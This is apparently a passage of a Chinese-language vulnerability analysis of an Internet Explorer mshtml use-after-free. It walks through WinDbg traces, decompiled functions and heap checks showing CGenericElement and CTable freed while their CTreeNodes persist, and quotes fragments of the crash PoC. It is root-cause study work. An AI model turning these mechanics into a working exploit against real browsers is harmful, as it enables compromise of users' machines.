mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
07b82fb8 681b5570 00000001 00000008 00000000
07b82fc8 00000000 00000000 00000000 00000000
07b82fd8 00000000 00000000
(6828d66d) mshtml!CHRElement::CreateElement | (6828d6c3) mshtml!CHRElement::ApplyDefaultFormat
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
06f65fd8 681b5570 00000001 00000008 00000000
06f65fe8 00000000 00000000 00000000 00000000
06f65ff8 00000000 00000000
(6cc.b80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=686e9100 ebx=0791dfb0 ecx=06c81fc8 edx=00000000 esi=0469d170 edi=00000000
eip=6836b68d esp=0469d144 ebp=0469d15c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6836b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06c81fc8=????????

由上可以观察到创建各元素时调用的函数及元素所在内存的值,偏移0为虚表地址,偏移4为引用计数。
下面来看下 poc 里的第二个语句。

1
document.body.appendChild(f0);

windbg 查看包含 appendChild 的符号。

1
2
3
4
5
6
7
0:005> x mshtml!*appendChild*
682c5acf mshtml!CElement::appendChild = <no type information>
68511590 mshtml!CAttribute::appendChild = <no type information>
685109f4 mshtml!CDOMTextNode::appendChild = <no type information>
683fd1d8 mshtml!s_methdescCAttributeappendChild = <no type information>
6837d720 mshtml!s_methdescCElementappendChild = <no type information>
682cd65e mshtml!CDocument::appendChild = <no type information>

可以猜到处理函数为 mshtml!CElement::appendChild,可以看到这个函数实际上又调用了 CElement::insertBefore 函数。
32398244444444.png-46.5kB
同上面的创建元素的函数一样,又会调用一个 xxxHelper 的函数,如下图。
QQ截图20180712003955.png-35.9kB
动态分析对 CElement::InsertBeforeHelper 函数功能进行猜测,注释见下图(很多都是猜的,不确定对不对)。
42304982309480329llll.png-140.7kB
跟进函数 sub_686659BA,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:005> 
eax=0487cfac ebx=05f9ef30 ecx=00000000 edx=00000000 esi=05f1afd0 edi=0766bfd8
eip=686659cb esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CCommentElement::`scalar deleting destructor'+0x18d:
686659cb 8bcf mov ecx,edi
0:005> ln poi(edi)
(68648fd8) mshtml!CSpanElement::`vftable' | (685573d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>
0:005> p
eax=0487cfac ebx=05f9ef30 ecx=0766bfd8 edx=00000000 esi=05f1afd0 edi=0766bfd8
eip=686659cd esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CCommentElement::`scalar deleting destructor'+0x18f:
686659cd e8bb5c0a00 call mshtml!CElement::Doc (6870b68d)
0:005>
eax=05b8b680 ebx=05f9ef30 ecx=0766bfd8 edx=6870b65d esi=05f1afd0 edi=0766bfd8
eip=686659d2 esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CCommentElement::`scalar deleting destructor'+0x194:
686659d2 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:0023:0766bff4=00010000
0:005> ln poi(eax)
(68702028) mshtml!CDoc::`vftable' | (6870fc58) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CDoc::`vftable' = <no type information>
0:005> p
eax=05b8b680 ebx=05f9ef30 ecx=00010000 edx=6870b65d esi=05f1afd0 edi=0766bfd8
eip=686659d5 esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CCommentElement::`scalar deleting destructor'+0x197:
686659d5 c1e909 shr ecx,9

通过 mshtml!CElement::Doc 函数获取 CDoc,在这里表示 html 文档,用于下面的插入,继续跟,发现在跳转后又调用了 CDoc::InsertElement 函数。
QQ截图20180712133222.png-54.6kB
继续分析, 两次调用 CTreePosGap::MoveTo 函数应该是确定插入的开始和结束位置。之后又调用了 CMarkup::InsertElementInternal 函数。
QQ截图20180712142633.png-63.2kB
太菜,已经逆到吐,就把函数的功能贴出来吧。CMarkup::InsertElementInternal 函数会在 DOM 树搜索准备插入的分支节点,之后调用 CTreeNode::CTreeNode 构建添加元素的 DOM 节点。
QQ截图20180712143816.png-7.1kB
CTreeNode 数据结构大致如下(参考:IE DOM 树概览)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class CTreeNode
{
public:
CElement * element;
CTreeNode * parent;
BYTE _etag; // 0-7: element tag
BYTE _fFirstCommonAncestorNode : 1; // 8: for finding common ancestor
BYTE _fInMarkup : 1; // 9: this node is in a markup and shouldn't die
BYTE _fInMarkupDestruction : 1; // 10: Used by CMarkup::DestroySplayTree
BYTE _fHasLookasidePtr : 2; // 11-12 Lookaside flags
BYTE _fBlockNess : 1; // 13: Cached from format -- valid if _iFF != -1
BYTE _fHasLayout : 1; // 14: Cached from format -- valid if _iFF != -1
BYTE _fUnused : 1; // 15: Unused
SHORT _iPF; // 16-31: Paragraph Format
// DWORD 2
SHORT _iCF; // 0-15: Char Format
SHORT _iFF;

CTreePos _tpBegin;
CTreePos _tpEnd;
DWORD unknow1;
DWORD unknow2;
DWORD unknow3;
};

每创建一个元素都会创建相应的 CTreeNode,存储着元素的相关信息,并通过 CTreePos 对象构成 DOM 树。

1
2
3
4
5
6
7
8
9
10
class CTreePos
{
public:
DWORD _cElemLeftAndFlags;
DWORD _cchLeft; // 左子树中的字符数量
CTreePos* _pFirstChild;
CTreePos* _pNext;
CTreePos* _pLeft; // 当前 CTreePos 在 DOM 流中的左边
CTreePos* _pRight; // 当前 CTreePos 在 DOM 流中的右边
}

下面通过 windbg 调试观察 CTreeNode 和相应元素创建时在内存中的关系,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
0:012> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
0:012> bu mshtml!CreateElement + 0x41 "ln eax;gc"
Matched: 682f141a mshtml!CreateElement = <no type information>
Matched: 6832d6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax;gc"'
0:012> bu 6832d6de + 0x41 "ln eax;gc"
0:012> bu mshtml!CMarkup::InsertElementInternal+1ec ".echo '=== CTreeNode ==='; dd eax L1; dps poi(eax) L1;gc"
0:012> g
............................
'=== CElement ==='
05ca1fd8 681b5570 00000001 00000008 00000000
05ca1fe8 00000000 00000000 00000000 00000000
05ca1ff8 00000000 00000000
'=== CTreeNode ==='
07b3cfb0 05ca1fd8
05ca1fd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
07b6efd8 681b5570 00000001 00000008 00000000
07b6efe8 00000000 00000000 00000000 00000000
07b6eff8 00000000 00000000
'=== CTreeNode ==='
053d6fb0 07b6efd8
07b6efd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
07b46fd8 681b5570 00000001 00000008 00000000
07b46fe8 00000000 00000000 00000000 00000000
07b46ff8 00000000 00000000
'=== CTreeNode ==='
06bf6fb0 07b46fd8
07b46fd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
06c68fc8 681b5570 00000001 00000008 00000000
06c68fd8 00000000 00000000 00000000 00000000
06c68fe8 00000000 00000000
'=== CTreeNode ==='
042f2fb0 06c68fc8
06c68fc8 682bc590 mshtml!CGenericElement::`vftable'
'=== CElement ==='
08177fb8 681b5570 00000001 00000008 00000000
08177fc8 00000000 00000000 00000000 00000000
08177fd8 00000000 00000000
'=== CTreeNode ==='
07b34fb0 08177fb8
08177fb8 681b6488 mshtml!CTable::`vftable'
'=== CElement ==='
05ca7fd8 681b5570 00000001 00000008 00000000
05ca7fe8 00000000 00000000 00000000 00000000
05ca7ff8 00000000 00000000
'=== CTreeNode ==='
05feffb0 05ca7fd8
05ca7fd8 681b9250 mshtml!CHRElement::`vftable'
(ae4.dc8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=686e9100 ebx=042f2fb0 ecx=06c68fc8 edx=00000000 esi=0486cd10 edi=00000000
eip=6836b68d esp=0486cce4 ebp=0486ccfc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6836b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06c68fc8=????????

可以看到 CTreeNode 的开始存放的是 element 的地址,和 CTreeNode 的数据结构吻合。元素对象的开始四字节是对应元素的虚表地址,第二个四字节是引用计数。下面继续分析 poc 里的 offsetParent

1
f0.offsetParent=null;

windbg 搜索 offsetParent 的相关函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> x mshtml!*offsetParent*
681e128e mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information>
681e11ca mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information>
681e16cd mshtml!CDisplayBox::IsOffsetParent = <no type information>
681e1709 mshtml!CDisplayBox::FindOffsetParent = <no type information>
681d9d65 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information>
681e12b3 mshtml!CLayoutBlock::IsOffsetParent = <no type information>
681e1915 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information>
681e11e3 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information>
682bcd62 mshtml!CElement::GetOffsetParentHelper = <no type information>
681e19b1 mshtml!CTextDisplayBox::IsOffsetParent = <no type information>
6837c914 mshtml!s_propdescCElementoffsetParent = <no type information>
681e192d mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information>
682bd418 mshtml!CElement::get_offsetParent = <no type information>
681e1798 mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information>

由上面的信息可以猜测到 offsetParent 和函数 mshtml!CElement::get_offsetParentmshtml!CElement::GetOffsetParentHelper 有关系。实际上 CElement::get_offsetParent 中调用了 CElement::GetOffsetParentHelper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __thiscall CElement::get_offsetParent(CElement *ecx0, CElement *this, struct IHTMLElement **a3)
{
int v3; // ebx
struct CTreeNode *v4; // eax

v3 = 0;
if ( a3 )
{
if ( *((_DWORD *)this + 5) )
{
*a3 = 0;
v4 = CElement::GetOffsetParentHelper(ecx0);
if ( v4 && *((_BYTE *)v4 + 8) != 82 )
v3 = CTreeNode::GetElementInterface(v4, &IID_IHTMLElement, (void **)a3);
}
else
{
v3 = -2147467259;
}
}
else
{
v3 = -2147467261;
}
return CBase::SetErrorInfo(ecx0, v3);
}

漏洞原因

poc 分析的时候已经可以得到漏洞是由于 CGenericElement 在释放后又被引用导致的,一般会发生在下面两种情况下。

  • CGenericElement 对象的指针存储到 CTreeNode 结构中时,CGenericElement 的引用计数没有加一, 导致CGenericElement 提前释放。
  • CTreeNode 没有在 CGenericElement 元素释放的时候被释放。一般是由于 CTreeNode 的引用计数错误的加1

如何判断属于上面哪一种情况呢?在程序结尾处观察 CGenericElementCTreeNode 是否被释放,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
0:013> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4)"
0:013> bu mshtml!CreateElement + 0x41 "ln eax"
Matched: 6869141a mshtml!CreateElement = <no type information>
Matched: 686cd6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax"'
0:013> bu 686cd6de + 0x41 "ln eax"
0:013> bu mshtml!CMarkup::InsertElementInternal+1ec ".echo '=== CTreeNode ==='; dd eax; dps poi(eax) L1"
0:013> g
.............................................
0:005> g
ModLoad: 6bf30000 6bfe2000 C:\Windows\System32\jscript.dll
'=== CElement ==='
079f7fd8 68555570 00000001 00000008 00000000
079f7fe8 00000000 00000000 00000000 00000000
079f7ff8 00000000 00000000
eax=079f7fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=079f7fd8 edi=079f7fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
079d9fb0 079f7fd8 079edfb0 ffff005b ffffffff
079d9fc0 00000000 00000000 00000000 00000000
079d9fd0 00000000 00000000 00000000 00000000
079d9fe0 00000000 00000000 00000000 00000000
079d9ff0 00000008 00000000 00000000 d0d0d0d0
079da000 ???????? ???????? ???????? ????????
079da010 ???????? ???????? ???????? ????????
079da020 ???????? ???????? ???????? ????????
079f7fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=079d9fb0 ebx=00000000 ecx=079d9fb0 edx=00000008 esi=079d9fb0 edi=079f7fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a90fd8 68555570 00000001 00000008 00000000
07a90fe8 00000000 00000000 00000000 00000000
07a90ff8 00000000 00000000
eax=07a90fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a90fd8 edi=07a90fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
079e1fb0 07a90fd8 079edfb0 ffff005b ffffffff
079e1fc0 00000000 00000000 00000000 00000000
079e1fd0 00000000 00000000 00000000 00000000
079e1fe0 00000000 00000000 00000000 00000000
079e1ff0 00000008 00000000 00000000 d0d0d0d0
079e2000 ???????? ???????? ???????? ????????
079e2010 ???????? ???????? ???????? ????????
079e2020 ???????? ???????? ???????? ????????
07a90fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=079e1fb0 ebx=00000000 ecx=079e1fb0 edx=00000008 esi=079e1fb0 edi=07a90fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a63fd8 68555570 00000001 00000008 00000000
07a63fe8 00000000 00000000 00000000 00000000
07a63ff8 00000000 00000000
eax=07a63fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a63fd8 edi=07a63fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
07a9cfb0 07a63fd8 079edfb0 ffff005b ffffffff
07a9cfc0 00000000 00000000 00000000 00000000
07a9cfd0 00000000 00000000 00000000 00000000
07a9cfe0 00000000 00000000 00000000 00000000
07a9cff0 00000008 00000000 00000000 d0d0d0d0
07a9d000 ???????? ???????? ???????? ????????
07a9d010 ???????? ???????? ???????? ????????
07a9d020 ???????? ???????? ???????? ????????
07a63fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=07a9cfb0 ebx=00000000 ecx=07a9cfb0 edx=00000008 esi=07a9cfb0 edi=07a63fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
076fefc8 68555570 00000001 00000008 00000000
076fefd8 00000000 00000000 00000000 00000000
076fefe8 00000000 00000000
eax=076fefc8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=076fefc8 edi=076fefc8
eip=686c9ff1 esp=0451c89c ebp=0451c8a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
0770cfb0 076fefc8 07a9cfb0 ffff0075 ffffffff
0770cfc0 00000000 00000000 00000000 00000000
0770cfd0 00000000 00000000 00000000 00000000
0770cfe0 00000000 00000000 00000000 00000000
0770cff0 00000008 00000000 00000000 d0d0d0d0
0770d000 ???????? ???????? ???????? ????????
0770d010 ???????? ???????? ???????? ????????
0770d020 ???????? ???????? ???????? ????????
076fefc8 6865c590 mshtml!CGenericElement::`vftable'
eax=0770cfb0 ebx=00000000 ecx=0770cfb0 edx=00000008 esi=0770cfb0 edi=076fefc8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a80fb8 68555570 00000001 00000008 00000000
07a80fc8 00000000 00000000 00000000 00000000
07a80fd8 00000000 00000000
eax=07a80fb8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a80fb8 edi=07a80fb8
eip=686c9ff1 esp=0451c8a8 ebp=0451c8b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
07a72fb0 07a80fb8 079e1fb0 ffff0061 ffffffff
07a72fc0 00000000 00000000 00000000 00000000
07a72fd0 00000000 00000000 00000000 00000000
07a72fe0 00000000 00000000 00000000 00000000
07a72ff0 00000008 00000000 00000000 d0d0d0d0
07a73000 ???????? ???????? ???????? ????????
07a73010 ???????? ???????? ???????? ????????
07a73020 ???????? ???????? ???????? ????????
07a80fb8 68556488 mshtml!CTable::`vftable'
eax=07a72fb0 ebx=00000000 ecx=07a72fb0 edx=00000008 esi=07a72fb0 edi=07a80fb8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
05ec0fd8 68555570 00000001 00000008 00000000
05ec0fe8 00000000 00000000 00000000 00000000
05ec0ff8 00000000 00000000
eax=05ec0fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=05ec0fd8 edi=05ec0fd8
eip=686c9ff1 esp=0451c8b4 ebp=0451c8c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
05ee3fb0 05ec0fd8 079d9fb0 ffff0030 ffffffff
05ee3fc0 00000000 00000000 00000000 00000000
05ee3fd0 00000000 00000000 00000000 00000000
05ee3fe0 00000000 00000000 00000000 00000000
05ee3ff0 00000008 00000000 00000000 d0d0d0d0
05ee4000 ???????? ???????? ???????? ????????
05ee4010 ???????? ???????? ???????? ????????
05ee4020 ???????? ???????? ???????? ????????
05ec0fd8 68559250 mshtml!CHRElement::`vftable'
eax=05ee3fb0 ebx=00000000 ecx=05ee3fb0 edx=00000008 esi=05ee3fb0 edi=05ec0fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000

然后查看 CGenericElementCTable 元素及对应的 CTreeNode 是否被释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:005> !heap -p -a 076fefc8      CGenericElement
address 076fefc8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
7b7064c: 76fe000 2000

0:005> !heap -p -a 0770cfb0 CGenericElement对应的CTreeNode
address 0770cfb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
78720d0: 770cfb0 4c - 770c000 2000

0:005> !heap -p -a 07a80fb8 CTable
address 07a80fb8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
7b70f08: 7a80000 2000

0:005> !heap -p -a 07a72fb0 CTable对应的CTreeNode
address 07a72fb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7872034: 7a72fb0 4c - 7a72000 2000

可以看到 CGenericElementCTable 都已经被释放,但是 CTreeNode 并没有被释放。所以属于第二种情况。可以猜测可能是由于当对CTreeNode指向的元素进行访问时,因为已经被删除,所以发生了异常。下面我们来看下哪些函数对 CGenericElementCTreeNode 进行了访问(地址和上面调试的有出入,因为重新调了下)。
QQ截图20180712194202.png-67.7kB
由调试可知,ISpanQualifier::GetFancyFormat 函数里的 CTreeNode 参数来自于上一个函数的 esi,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

0:013> bu ISpanQualifier::GetFancyFormat
0:013> g
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429af esp=0448acf0 ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat:
682429af 8bff mov edi,edi
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b1 esp=0448acf0 ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x2:
682429b1 55 push ebp
0:005>
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b2 esp=0448acec ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x3:
682429b2 8bec mov ebp,esp
0:005>
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b4 esp=0448acec ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x5:
682429b4 56 push esi
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b5 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x6:
682429b5 8bf0 mov esi,eax
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b7 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x8:
682429b7 e872330400 call mshtml!ISpanQualifier::IsTreeNodeQualifier (68285d2e)
0:005> p
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429bc esp=0448ace8 ebp=0448acec iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
mshtml!ISpanQualifier::GetFancyFormat+0xd:
682429bc 84c0 test al,al
0:005>
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429be esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0xf:
682429be 0f849e5d2300 je mshtml!ISpanQualifier::GetFancyFormat+0x1a (68478762) [br=0]
0:005>
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429c4 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x11:
682429c4 8bce mov ecx,esi
0:005>
eax=00000001 ebx=059d3fa0 ecx=06ad8fb0 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429c6 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x13:
682429c6 e84e881600 call mshtml!CTreeNode::GetFancyFormat (683ab219)
0:005> ln poi(poi(06ad8fb0))
(682a8fd8) mshtml!CSpanElement::`vftable' | (681b73d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>

继续回溯 mshtml!SLayoutRun::HasInlineMbp 函数。
QQ截图20180712202009.png-60.9kB
继续回溯到函数 mshtml!SRunPointer::HasInlineMbp,在调用 SLayoutRun::HasInlineMbp 函数之前也调用了 SRunPointer::SpanQualifier(void)。如下图
QQ截图20180712203202.png-38.4kB
跟进函数 SRunPointer::SpanQualifier(void) 发现其主要功能是 eax= [[eax+4]+c],现在的 eax 即为 CTreeNode 的地址。
QQ截图20180712203237.png-46.7kB
下面通过 windbg 调试看下在崩溃前 eax+4 地址处内存。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
'=====eax+4====='
0481cec8 07516fd0 00000000 06f58fc8 0481cf0c
0481ced8 685b4b64 0481cef3 00000000 00000000
0481cee8 0481d018 68625be8 0000cf04 00000000
0481cef8 00000031 0481cf73 687406bf 0481cf58
0481cf08 685ecc7b 0481cf58 687fe223 0481cf77
0481cf18 0481cf8b 07e30ff0 0481d048 00000002
0481cf28 05520fd8 00000000 0481cf8b 06f58f00
0481cf38 0481d001 05e51fd8 00000000 05520fd8
(ddc.b50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=68a89100 ebx=06faafb0 ecx=078cefc8 edx=00000000 esi=0481cba8 edi=00000000
